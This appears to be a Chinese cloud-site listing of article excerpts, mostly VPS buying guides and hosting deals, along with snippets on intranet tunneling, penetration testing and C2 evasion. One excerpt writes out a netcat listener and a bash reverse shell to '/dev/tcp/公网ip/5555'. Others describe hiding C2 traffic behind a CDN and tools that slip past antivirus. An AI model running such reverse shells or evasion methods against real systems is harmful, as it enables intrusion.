Chisel可用来搭建内网隧道，类似于常用的frp和nps之类的工具。由于目前使用的人比较少，因此对于有些杀软还不能准确的识别出该工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理，使用go语言编写，支持多个平台使用，是进行内网穿透的一个鲜为人知的好工具。
从事互联网工作的小伙伴应该都知道，网站的运行绝对少不了服务器。对于服务器的选择有很多中，有vps，也有空间，这些都是要根据网站的实际情况进行选择，如果网站的流量一天就有几千个IP，那购买好用的vps就可以，如果太多，vps就会承受不起。下面就大家讲讲如何服务器与vps的选择？
完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步，虽然这个站点只经历了前四步，但也具有较强的代表性，组合利用漏洞形成攻击连，拿下管理权限。
Vultr VPS 提供的日本机房相对于国内 VPS 来说，配置高、流量大、价格低、稳定性也不错，同时支持 paypal 和信用卡付款，深受国人喜欢。有好多网友苦于对 Vultr VPS 的英文网页不太感冒，很多设置看不懂，买了 Vultr VPS 也不知道该如何操作，而且网上很多 VPS 评测网写的都是旧版本的中文对照，而 Vultr 现在改版了，所以魏艾斯博客给新版本做了一个中文详细介绍，帮助大家更顺利的使用这个性价比高的 VPS。 我们就按照平时登陆使用的步骤一步步的来说一下吧。打开 vultr 的首
*本文原创作者： ArthurKiller 注：本文主张交流与科研学习，请勿对该技术进行恶意使用！本平台及作者对读者的之后的行为不承担任何法律责任。 简介 DDOS攻击也叫做分布式拒绝服务攻击，其
近年来，随着云计算技术的大力发展和 VPS 成本降低，越来越多的人开始用上了 VPS。与虚拟主机空间相比，VPS 具有更大的自由度。用户可以在 VPS 上安装各式各样的环境，也可以使用各种方式提供对外服务。对于 Jekyll 等静态网页来说，虚拟主机和 VPS 的使用体验差异可能在一般情况下感受不出来，如果网站流量变大、并发访问人数增多，VPS 就能展现出比虚拟主机的优越之处。其实，一般的虚拟主机也是在 VPS 上搭建的，只不过转换为一种服务提供给用户，用户能使用比较容易接受的网页进行环境的配置和其他操作。而在 VPS 上，往往需要自己从零开始动手，涉及到的专业知识要求也相对多一些。
曾经写过服务器安全狗 linux 版安装教程，凡是此类的软件都是新手站长、对 linux 安全设置不熟悉的站长来使用的，虽然会占用一部分内存但是也提高了服务器的安全性，同时能够阻挡一部分的 CC 攻击
星期六我们子公司受到攻击，我们的网络监测显示有连续6小时的巨大异常流量，我立即联系在场IT，没有得到回应，我修改和限制了他们的 VPS，使得个别 VPS 受攻击不会对整个服务器和其他 VPS 用户造成任何影响，我们一直保持这个 VPS 为开通状态（尽管一直受攻击），攻击又持续了24小时，星期天攻击仍在继续，我们忍无可忍，立即投入到与 DDoS 的战斗中（我们动态扫描屏蔽坏 IP，现在网站已恢复。整个过程很有意思，以后有时间再写一篇博客来描述）。登录到 VPS 第一件事情就是查当前连接和 IP，来自中国的大量
参考：http://www.0-sec.org/Tools/Cobalt%20Strike/32.html
对于需要将软件部署到服务器上的开发者和企业来说，选择适当的服务器解决方案至关重要。本文将为您介绍如何利用VPS服务器来解决软件部署需求问题，帮助您了解VPS服务器的优势、设置和操作步骤，以实现高效的软件部署和运行。
环境说明 公网服务器一台 kali （内网） 简单的测试 在公网服务器执行命令 nc -lvvp 4444 kali中执行命令 -i >& /dev/tcp/公网ip/5555 0>&1 启动Wireshark开启抓包，分析流量。 测试 我们在终端中随便输入一条命令ifconfig,然后到Wireshark中查看。 image.png image.png我们可以清楚的看到，终端流量是通过明文传送。那么如何保证安全呢，这需要我们对明文流量加密处理。 openssl加密传输 第一步，在vps上生成SSL
iox是一款功能强大的端口转发&内网代理工具，该工具的功能类似于lcx和ew，但是iox的功能和性能都更加强大。
引言 由于某些不可抗力原因, 所处网络环境无法访问 A VPS, 因此 增加 能访问到的 B VPS 来中转流量到 A VPS me --x-> A VPS me <----> B VPS <----> A VPS 非内网穿透需求, A VPS 有公网ip, 可被公网直接发现 和使用某些客户端 配合 Cloudflare Proxy 类似 me(X Client) <----> Cloudflare <----> A VPS <----> google.com me(X Client) <----> 中转机 <----> 落地机 <----> google.com PS: 目前已知 Cloudflare 支持代理: HTTP/HTTPS, WebSocket 和 gRPC(HTTP/2) 但支持的端口有限, 详情请看 Cloudflare 文档 Nginx 流量转发 Nginx是非常强大的四层、七层反向代理软件，功能强大，在互联网上广泛应用。 本节介绍Nginx转发配置。
在如今的数字时代，一个高性能、稳定可靠的网站对于企业和个人而言至关重要。而选择适合的服务器托管方案是确保网站顺利运行的关键因素之一。在众多的选择中，美国VPS服务器成为了许多网站运营者的首选。本文将详细介绍美国VPS服务器如何成为实现网站快速响应和可靠运行的利器。
在今天的数字化时代，企业和个人都越来越依赖于互联网来运营业务、存储数据以及保持与客户的联系。而要实现这些目标，一个稳定可靠的网络基础设施是至关重要的。这就是为什么越来越多的人和组织转向VPS云服务器的原因。VPS云服务器结合了稳定性与弹性，为你的业务提供高效运行所需的一切。
Sugarhosts 糖果主机上线中美极速直连线路后，最近洛杉矶 CN2 线路虚拟主机搞活动，239 元/年限时终身六折，就有网友询问洛杉矶 CN2 虚拟主机的线路测试地址， 魏艾斯博客和官方要了一个洛杉矶 CN2 中美极速直连地址用于速度评测，本文评测过程结果仅供参考。 一、洛杉矶中美直连 CN2 极速线路方案 1、洛杉矶中美极速专线虚拟主机 下面列举的是中美极速专线虚拟主机，本月限时终身优惠，如果是稳定建站使用，推荐选购 Shared Pro，送独立 IP。 Shared Baby 磁盘空间：5GB
云服务器和 VPS 是两种不同类型的云基础设施服务，它们的主要区别在于它们提供的计算和存储资源的类型和级别。云服务器和 VPS 都是云计算的重要组成部分，它们为开发者和数据中心管理员提供了灵活的资源管理和高度可伸缩的基础设施。
RackNerd 商家我们应该是比较熟悉的，商家提供十几个数据中心的海外VPS主机、独立服务器和站群SEO多IP服务器产品。我们大部分朋友比较熟悉的还是RackNerd商家的便宜VPS主机，不定期在节日和每月有促销活动，值此中秋节来临之际，我们可以看到RackNerd涨价有发布中秋节促销活动，VPS主机低至年付11.88美元。
Lcx是一个端口转发工具，有windows版和linux两个版本(linux版本名为protmap)
近几年国外 VPS 市场变化很大，Vultr 虽然在 2014 年才进入，不过冲劲十足，一再降价增配，初期的 2/3 年时间中就赢得了不少用户的肯定与支持，纷纷转投 Vultr 阵营，总体来说Vult
起因：今天想给家里的服务器装一个MacOS，于是果断打开小兵的下载页面，找到最新的14版系统，但是发现一个问题，不论怎么操作，下载速度都不会超过200KB/S，只有氪金了(迅雷)速度才能达到5M，这可难倒了老高！
随着国外 VPS 越来越便宜，很多站长为了性价比都把网站转移到了大陆以外的地区，比如使用美国 VPS、日本 VPS、韩国 VPS、台湾 VPS。不过考虑到网站主要面向国内访客，就需要提高访问速度，所以今天魏艾斯博客说一下如何使用DNSPOD和腾讯云 CDN加快网站访问速度的教程。
在购买使用国外vps的时候，许多的商家使用的是英文版的solusvm的后台管理面板，因为面板的配置选项很多，对许多英文不好的新手朋友来说很不友好，难免遇到一些难题，今天这篇就介绍一下英文版solusv
最近看到 Linode 免费升级硬盘容量，对于广大站长来说是一个好消息，特别对需要硬盘容量的网站来说是再好不过了。魏艾斯博客在 Linode 也有一个 VPS 是长期使用的，借着这个机会也升级一下硬盘空间并且写下操作过程。 Linode 是国外一家 VPS 服务器提供商，起步较早，以稳定性高出名，早期价格较贵，属于 VPS 中的“贵族”价位，最近 2 年价格降下来了、配置升上去了，所以整体性价比较高。 老魏在操作过程中没有提前备份数据，结束后发现对原来数据也没有任何损失和影响，仍旧可以正常使用。不过还是要负
pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具。
尝试读取文件，发现结果无变化。这就陷入了僵局。因为这里结果无变化有可能是目标网站不存在XXE漏洞，也有可能是目标网站存在XXE漏洞，但是不回显数据。
这次渗透是从站库分离的情况下在深入进去内网在拿下域控服务器，也都是普通的渗透思路，并没有什么技术含量！首先WEB点是一个MSSQL注入漏洞，并且这个注入是sa权限的！首先这个站点是使用JoomlaCMS搭建的，但是在一处Study信息登记处发现了SQL注入漏洞
当我们在外网打下一个点，通过arp，netstat，以及ifconifg（ipconfig）等信息收集，发现此点为dmz，可通内网，那么这时候我们需要在此点上搭建通向内网的隧道，为内网渗透打下坚实基础。
作者：matrix 被围观: 5,331 次 发布时间：2020-07-02 分类：零零星星 | 2 条评论 »
通过一个工具基本可以满足演练过程中打隧道的要求（可惜不支持dns协议）。这篇文章主要是自己研究该工具如何使用的过程 0x02 工具简介
说明：UDPSpeeder很早前博客就介绍过，是一个双边网络加速工具，本身是加速UDP流量，但也可以加速TCP/UDP/ICMP，而网络游戏也是走的UDP，我们可以用来配合SSTap来最大改善我们的游戏体验，近期作者发布windows版本客户端，使用更加方便了，这里就大概的讲下方法。 简介 UDPspeeder作用是给udp流量加冗余和纠错(RS code)，牺牲一定的流量(通常可小于0.5倍)，让网络达到接近零丢包。 可以单独加速udp，或配合V皮N加速全流量(tcp/udp/icmp)。 最佳的适用场景
最近，NSA和CIA的网络武器都被捅娄子了，4月14日，就在ShadowBroker公布第二批NSA网络大杀器的同一天，维基解密继续公布了Vault7系列名为HIVE（蜂巢）的CIA网络工具相关文档。文档共6份，包括了HIVE的开发使用和配置工作文档等，最早版本记录可追溯到2015年10月。 HIVE是CIA计算机网络行动小组（COG）在执行远程目标任务时使用的一个协助平台，由CIA嵌入式研发部门（EDB）开发，可以提供针对Windows、Solaris、MikroTik（路由器OS）、Linux和AV
在当今数字化时代，互联网和云计算技术的发展使得虚拟私有服务器(VPS)在企业和个人中越来越受欢迎。VPS不仅提供了更高的性能和安全性，还能兼顾预算，为事业的腾飞提供有力支持。然而，市场上VPS产品繁多，如何选择一款性能与价值兼得的VPS成为了许多人关注的焦点。在本文中，我们将为你提供一个全面的购买攻略，帮助你在VPS的海洋中游刃有余，找到最适合你的VPS，助你事业飞速腾飞!
上一节中，我们讲解了网络层的隧道技术（IPv6 隧道、ICMP 隧道）和传输层的隧道技术（TCP 隧道、UDP 隧道、常规端口转发）。现如今，TCP、UDP 通信大量被防御系统拦截，传统的Socket隧道也已经濒临淘汰，DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中，我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解，由于小编能力太菜，很多东东也是现学现卖，应用层的DNS隧道我会在未来专门写一个专题进行讲解。
racknerd美国主机商，其域名racknerd.com显示注册于2015年。racknerd，当前主要运作美国洛杉矶的VPS、hybrid server（半虚拟服务器）、独立服务器出租、设备托管业务。racknerd官方的介绍里面说有多年的主机业务运作经验，本人从google搜索了解到racknerd实际上在2012年就有卖VPS的记录信息，这期间发生了什么也不得而知，这里就不瞎猜了！当前，racknerd的服务器主要托管在layerhost的洛杉矶数据中心，站长目测是racknerd租用的场地、又或者是租用的机柜来运作自己的业务。
在当今数字化时代，全球业务和在线存在已经成为商业成功的关键要素之一。无论你是拥有自己的在线商店，还是运营一个跨国企业，你都需要一个可靠的网络基础设施来支持你的业务。在这方面，海外VPS正在迅速崭露头角，成为越来越多企业的首选。本文将深入探讨为什么在进行全球业务时，选择海外VPS是你的最佳选择。
可达到的效果：受害主机上只会有跟cdn的ip通信的流量，不会有跟真实C2通信的流量，
防火墙是一种网络安全设备，用于监控和控制网络流量，保护网络免受未经授权的访问、恶意攻击和威胁。防火墙可以基于规则进行数据包过滤，允许或阻止特定类型的流量通过。常见的防火墙类型包括网络层防火墙和应用层防火墙。
我们都想通过共享托管来省钱，但是对于某些网站，VPS 甚至专用计划都是不可避免的。如果你不得不做一个更高级的计划，这可能意味着你的网站正在成长并获得更多的流量——因此，付出的财务成本将是值得的。
今天扫到了一个jboss的站十分奇怪，存在jmx-console和JMXInvokerServlet漏洞
在之前的文章中我介绍了使用 DNS-Shell 和 Dnscat2 利用DNS协议来进行命令控制，通过DNS协议进行通信，使得流量更加隐秘，躲避agent/DLP等安全设备的检测，实现相对隐秘的命令控制。
当别人把垃圾域名转向至你的服务器时， 如果不采取措施，那么后果不堪设想。 国内机房一般都要求网站主关闭空主机头，防止未备案的域名指向过来造成麻烦。 Nginx默认的虚拟主机允许用户经过IP访问，或者经过未设置的域名访问（比如有人把他本人的域名指向了你的ip）你的VPS或服务器。 默认情况下，只要将域名解析到VPS的IP上，就可以访问安装lnmp的VPS。 如果想避免这种情况的出现，可以修改nginx.conf ，将默认的虚拟主机修改为如下即可屏蔽未绑定域名访问： 复制代码 代码如下: server { listen 80 default; return 500; } 也可以把这些流量收集起来，导进到本人的网站，只需做以下跳转设置就可以： 复制代码 代码如下: server { listen 80 default; rewrite ^(.*) http://cqgua.com permanent; } 以此类推， 禁止通过IP访问，可以写成: 复制代码 代码如下: server { listen 80 default; server_name _; return 500; }
Zoho Mail是一个国外邮件服务商，提供免费和收费邮箱业务，近期还推出了“MAIL LITE”套餐，最低只要1$/月，支持无限邮箱别名（仅限收费套餐），个人站长使用是非常不错的选择。不过Zoho Mail的邮件服务器在美国，在国内延迟达到300ms，着实有点偏慢。
frp 让本地局域网的机器可以暴露到公网，简单的说就是在世界的任何地方，你可以访问家里开着的那台电脑。 FRP 支持 TCP、UDP、HTTP、HTTPS， 就是说不仅仅限于本地web服务器可以暴露，整台机器都可以暴露，windows的远程控制，mac和linux的ssh都可以被暴露。
关闭 Linux 服务器的自带防火墙，使用iptables来管理端口转发。 注意如果你的服务器是类似阿里云、腾讯云等服务商提供，还需要登录控制台的防火墙，开放一个UDP端口，本文以45678为例。请再三确认该端口已正常开放，你可以使用nc命令或者其他在线检测工具来测试服务器已正常开放该UDP端口。
这篇文章教你怎么快速注册虚拟主机，你可以用这个虚拟主机来搭建各种服务，比如参考《WordPress搭建个人博客》搭建WordPress。虚拟主机最大的优势在于它是按小时收费的，操作界面简单。有关虚拟主机的介绍和虚拟主机服务器推荐可以参考我这个《最受欢迎的云主机推荐》博文。
昨天早上9点左右逛github时，我发现l33terman6000一次性放出了最近热门的7个漏洞的poc。
说明：很多人的VPS流量有限，有的人在VPS中放了一首MP3用来作为背景音乐，但被搜索引擎列为试听/下载地址，放的图片和文件地址也会别人盗用，可想而知流量会消耗多快，这时候我们需要设置防盗链来阻止这样的事发生。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
